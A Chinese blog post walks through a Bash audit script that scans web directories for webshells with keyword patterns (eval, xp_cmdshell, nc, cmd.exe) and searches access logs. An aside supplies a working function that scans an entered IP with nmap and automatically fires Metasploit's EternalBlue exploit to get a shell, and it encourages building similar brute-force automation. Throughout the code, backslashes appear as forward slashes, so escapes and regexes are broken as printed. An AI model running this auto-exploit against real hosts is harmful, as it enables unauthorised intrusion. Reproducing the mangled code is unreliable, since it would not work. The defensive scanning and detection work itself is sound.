这篇文章将为大家详细讲解有关如何实现基于Bash Shell的一个审计脚本,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
windows下,无论是检查日志,还是扫描webshell,都有现成的工具使用,毕竟可视化,干啥也方便,Linux下比较麻烦,客户不让装这个,不让装那个,有些特殊情况下,服务器连个Python环境又没有,用perl写吧,还比较麻烦。
忽然想起来自己还写过两个小脚本,讲完课,没事儿改了改,给各位小伙伴们发上来,脚本没什么技术含量,无非就是些awk、grep、find、function等,希望能派上用场。
整体运行界面是这个样子的,界面眼熟吧,msf的图形,哈哈哈。
总体分了三个内容:
一、Webshell后门扫描
二、网站日志分析
三、日志搜索
一、Webshell后门扫描
主要内容就是通过read -p 获取用户输入内容,然后进行判断
这里需要用户自行输入要扫描的网站路径,字典路径可有可无,留空,就会执行已经写好的东西,自定义的话,就需要用户自己输入字典路径了。。
可能有人看不清图,我就贴一小段命令出来吧。
if [ -z $filepath ];then echo -e "/033[1;31m 请输入要扫描的路径!/033[0m" webscan elif [ -z $wordlist ];then echo "---------------------扫描信息------------------------------------" echo -e "/033[44;37m 网站路径:$filepath /033[0m" echo -e "/033[44;37m 字典路径:$wordlist /033[0m" echo "-------------------------------------------------------------------" find $filepath -name "*.php"|xargs egrep "eval|<?php eval|GIF89a|_P/"/.///*-///*-/*///"OS/"/.|<?php /$_GET|base64_decode/($|array_map/(assert|array/(/$Base/(/$_POS|extract/(/$_REQUEST|eval/(/'@ini_set|ZXZhbCgnQGluaV9zZXQ|/'e/'/./'v/'/./'a/'/./'l/'" |grep -v "Binary"|awk -F ":" '{print $1 " " "/033[45;37m 一句话后门 /033[0m"}'|uniq find $filepath -name "*.php"|xargs egrep "一句话|小马|大马|挂马|提权|命令|文件管理|免杀|后门|system/(/$cmd/)|shell_exec/(/$cmd/)|/$cmd=socket|cmd|shellname|shell|webshell|f377368656c6c2e676f6f676c65636f6|explode/(|mysqlDll/.dll|exec sp_configure|xp_cmdshell|BackDoor|net user|eval/(gzunc|cmd/.exe|command|execfunc"|grep -v "Binary"|awk -F ":" '{print $1 " " "/033[41;37m 疑似webshell大马 /033[0m"}'|uniq find $filepath -name "*.php"|xargs egrep "***有一些不堪入目的关键词就不填了,自己下载文件看吧"|awk -F ":" '{print $1 " " "/033[41;37m 疑似带有敏感内容 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.jsp"|xargs egrep "一句话|小马|大马|挂马|提权|命令|文件管理|免杀|后门|exec/(cmd|executeQuery|execute|RealVNC|cmd/.exe|/"nc |reg query|WinStations|RDP-Tcp|PortNumbe|execute|/'cmd/'|HashMap/(|Command Window|JFolder|exeCmd"|awk -F ":" '{print $1 " " "/033[45;37m JSP后门 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.jsp"|xargs egrep "***有一些不堪入目的关键词就不填了,自己下载文件看吧"|awk -F ":" '{print $1 " " "/033[41;37m 疑似带有敏感内容 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.html"|xargs egrep "***有一些不堪入目的关键词就不填了,自己下载文件看吧"|awk -F ":" '{print $1 " " "/033[41;37m 疑似带有敏感内容 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.html"|xargs egrep "QQ:|QQ|hacker|hack|hack by:|友情检测|吐司|黑客"|awk -F ":" '{print $1 " " "/033[41;37m 疑似黑页 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.txt"|xargs egrep "QQ:|QQ|hacker|hack|hack by:|友情检测|***有一些不堪入目的关键词就不填了,自己下载文件看吧*"|awk -F ":" '{print $1 " " "/033[41;37m 疑似带有敏感内容 /033[0m"}'|grep -v "Binary"|uniq echo "-------------------------------------------------------------------" echo -e "/033[44;37m 扫描完毕! /033[0m" else echo "---------------------扫描信息------------------------------------" echo -e "/033[44;37m 网站路径:$filepath /033[0m" echo -e "/033[44;37m 字典路径:$wordlist /033[0m" echo "-------------------------------------------------------------------" wordlist1=$(cat $wordlist) find $filepath -name "*.php"|xargs egrep "$wordlist1" |grep -v "Binary"|awk -F ":" '{print $1 " " "/033[45;37m 一句话后门 /033[0m"}'|uniq find $filepath -name "*.php"|xargs egrep "$wordlist1"|grep -v "Binary"|awk -F ":" '{print $1 " " "/033[41;37m 疑似webshell大马 /033[0m"}'|uniq find $filepath -name "*.php"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "/033[41;37m 疑似带有敏感内容 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.jsp"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "/033[45;37m JSP后门 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.jsp"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "/033[41;37m 疑似带有敏感内容 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.html"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "/033[41;37m 疑似带有敏感内容 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.html"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "/033[41;37m 疑似黑页 /033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.txt"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "/033[41;37m 疑似带有敏感内容 /033[0m"}'|grep -v "Binary"|uniq echo "-------------------------------------------------------------------" echo -e "/033[44;37m 字典扫描完毕! /033[0m" echo "-------------------------------------------------------------------" fi
字典还是推荐使用windows下的notepad++来写,按照格式 test|/$POST|/(/$_POST 来写就好,特殊字符记得转意下。
尤其是涉及中文的,一定要在notepad++中,转换成unix格式,不然是无法识别中文的。
执行以后的效果是这个样子的,虽然是丑了点,但是好歹还是能用的。
二、网站日志分析
这个基本没变,懒得改了,详情可参考3年前写的那篇文章。
如何编写自己的Web日志分析脚本?
运行结果如下:
三、日志搜索
日志搜索,其实就是个文件名搜索和ip地址搜索功能
用户根据扫描出来的webshell后门名称,搜索名字,然后将搜索的信息进行去重、统计进行显示。
主要是通过根据用户指定的文件名或IP地址,将用户的内容保存成变量,然后开始筛选,排除404、400的响应码以及Binary关键字等不关注的信息,然后针对性的进行输出和统计,让检索内容显示的简洁些,并将输出内容进行保存,方便日后查看。
echo "日志内容搜索" read -p "请输入要分析的脚本名称:" name66 if [ -z $name66 ];then echo "请输入正确的文件名" else echo "*******************************检索内容如下:******************************************" more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print "访问IP地址为:"$1" ""后门地址为:"$7}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66-ip.log fl=$(cat $filepath3/log/$name66-ip.log) if [ -z $fl ];then echo "没有发现匹配$name66的内容" rm -rf $filepath3/log/$name66-ip.log echo "按回车键重新进行搜索" read key super else cat $filepath3/log/$name66-ip.log echo "*******************************************************详细列表如下:******************" more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print $name66}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66.log cat $filepath3/log/$name66.log echo "************************************************************************************" fi fi menu ;;
运行结果如下:
四、总结
其实整体内容,就是通过function函数来实现一个循环的小框架,来实现输入不同数字来执行定义好的函数功能而已。
毕竟都2020年了,不会徒手写shell脚本的攻城狮不是好运维~
写个整体代码的框架示例,可能看起来能更清楚些。。
#!/bin/bash function menu { cat <<EOF echo "1)功能" echo "2)功能" echo "3)功能" echo "4)功能" EOF read -p "请输入要选择的功能序号:" num1 case "$num1" in 1) echo "case 1" gn1 ;; 2) echo "看到我的时候,我已经跳转到了function gn2里去执行了" gn2 ;; 3) echo "default" gn3 ;; 4) echo "default2" gn4 ;; esac } function gn1 { echo "我是功能1" menu } function gn2 { echo "我是功能2" read -p "如果想嵌套子功能,就学我:" zgn case "$zgn" in 1) echo "我是功能2的子功能,看见我因为你输入的是1" ;; 2) echo "case 2 or 3" ;; 3) echo "default" ;; esac gn2 } function gn3 { echo "我是功能3" } function gn4 { echo "我是功能4" } menu
当用户执行时,根据输入的序号,来跳转到对应的逻辑上。
用户输入序号1,则进入到case的第一个逻辑上,输出echo "case 1"后,让它跳转到定义好的gn1函数上,并让gn1函数输出“我是功能1”后,返回到menu函数,也就是主界面。
以此类推,当用户输入序号2时,调到gn2函数上。
function gn2 { echo "我是功能2" read -p "如果想嵌套子功能,就学我:" zgn case "$zgn" in 1) echo "我是功能2的子功能,看见我因为你输入的是1" ;; 2) echo "case 2 or 3" ;; 3) echo "default" ;; esac gn2 }
执行效果如下:
五、题外话
在kali中,可以将常用的工具集中起来,配合bash shell的function函数,来实现自动化执行,就不需要背命令了,无论什么工具,输个IP地址或者域名就可以直接使用了,只要你提前在function里将它写好。
当然了,如果有在kali里做安全相关的毕设的同学们,可以把msf利用写进去,省去了手动输入命令的过程,还显得有B格~
例如:
nmap+msf的MS17-010配合使用时,可以这样去设计:
先使用read -p获取用户输入内容,并将其保存在变量里,当然了,nmap 要用户输入的地方,肯定是IP啦~
read -p "请输入要扫描的IP地址:" num2
利用nmap -v -n $num2 获取目标端口信息
再通过筛选445端口信息,配合awk来将信息进行分割输出,获取内容:
egrep "open port 445" |awk -F "/" '{print $1}')
并将内容保存到cmd变量里
然后再调用-script=smb-vuln-ms17-010格式对目标IP进行扫描,确认是否存在MS17-010漏洞,
nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_dns"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}'
将其保存在cmd2变量中
一旦目标IP存在MS17-010漏洞,输出结果中会含有相关信息,通过awk分割,获取关键词MS17-010,通过cmd2变量中获取的内容进行匹配,如果两者相当,则执行接下来的操作。
调用msfconsole,并将变量中的IP地址信息自动填写进去,关键命令如下:
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;/set RHOST $num2;/run"
最终,就实现了通过nmap扫描—-判断漏洞—–利用漏洞的一系列效果了:
function ms17010 { cat <<EOF `echo -e "/033[1;35m ms17010 攻击演示:/033[0m"` EOF echo -e "/033[1;35m *********准备探测*************/033[0m" read -p "请输入要扫描的IP地址:" num2 cmd=$(nmap -v -n $num2|grep -v "mass_dns"|egrep "open port 445" |awk -F "/" '{print $1}') if [ "$cmd" = "Discovered open port 445" ];then cmd2=$(nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_dns"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}') echo -e "/033[1;35m $num2 /033[0m 已开放445端口" else echo -e "/033[1;35m $num2 /033[0m 未开启445端口" fi if [ "$cmd2" = "(ms17-010)" ];then echo -e "检测到目标:/033[1;35m $num2 /033[0m 存在MS17-010漏洞!" sleep 3 echo -e "/033[1;35m ***************开始进行攻击*********************/033[0m" msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;/set RHOST $num2;/run" else echo "做球啥呢" fi exit }
执行效果如下:
开始界面:
利用nmap -script=smb-vuln-ms17-010,扫描到目标主机存在MS17-010漏洞后,自动执行攻击命令,获取shell权限。
假设目标主机没有开启445端口,或者有防火墙,则提示失败。
暴力破解也是如此。
利用nmap扫描服务信息,判断开放的服务,根据服务信息,自动调用要破解的模块,实现自动识别,自动破解,输出结果的过程,其实就是个调用,调用,再调用,没什么技术性,关键是在于一个字!
懒!
有学生之前问过,windows上好些工具,都需要进命令行里去执行,好麻烦,每次都记不住,还得打开txt复制命令去用,好烦啊~
当然了,Linux上懒也就罢了,windows上也可以稍微懒一懒。
例如:
windows上可以通过批处理的方式,来写个懒人批处理
原理,依然是获取于用户输入,然后将输入内容带进变量里去执行,简单的不要不要的~
@set /p ym="输入要扫描的域名地址:" @set /p jb="输入要扫描的脚本类型:" @rem 等待用户输入 @set /p gn="请选择要使用的功能:": @rem 选择环境编码1 @if %gn%==1 ( @echo 普通扫描! C:/Python36-32/python.exe C:/Python36-32/dirsearch/dirsearch.py -u %ym%/ -e %jb% -x 403,404,400,401 ) else ( @if %gn%==2 ( @echo 递归扫描! C:/Python36-32/python.exe C:/Python36-32/dirsearch/dirsearch.py -u %ym%/ -e %jb% -f -F -r -e %jb% -x 403,404,400,401 -R 5 --timeout=20 --max-retries=5 pause )
最终实现效果如下:
关于“如何实现基于Bash Shell的一个审计脚本”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/222404.html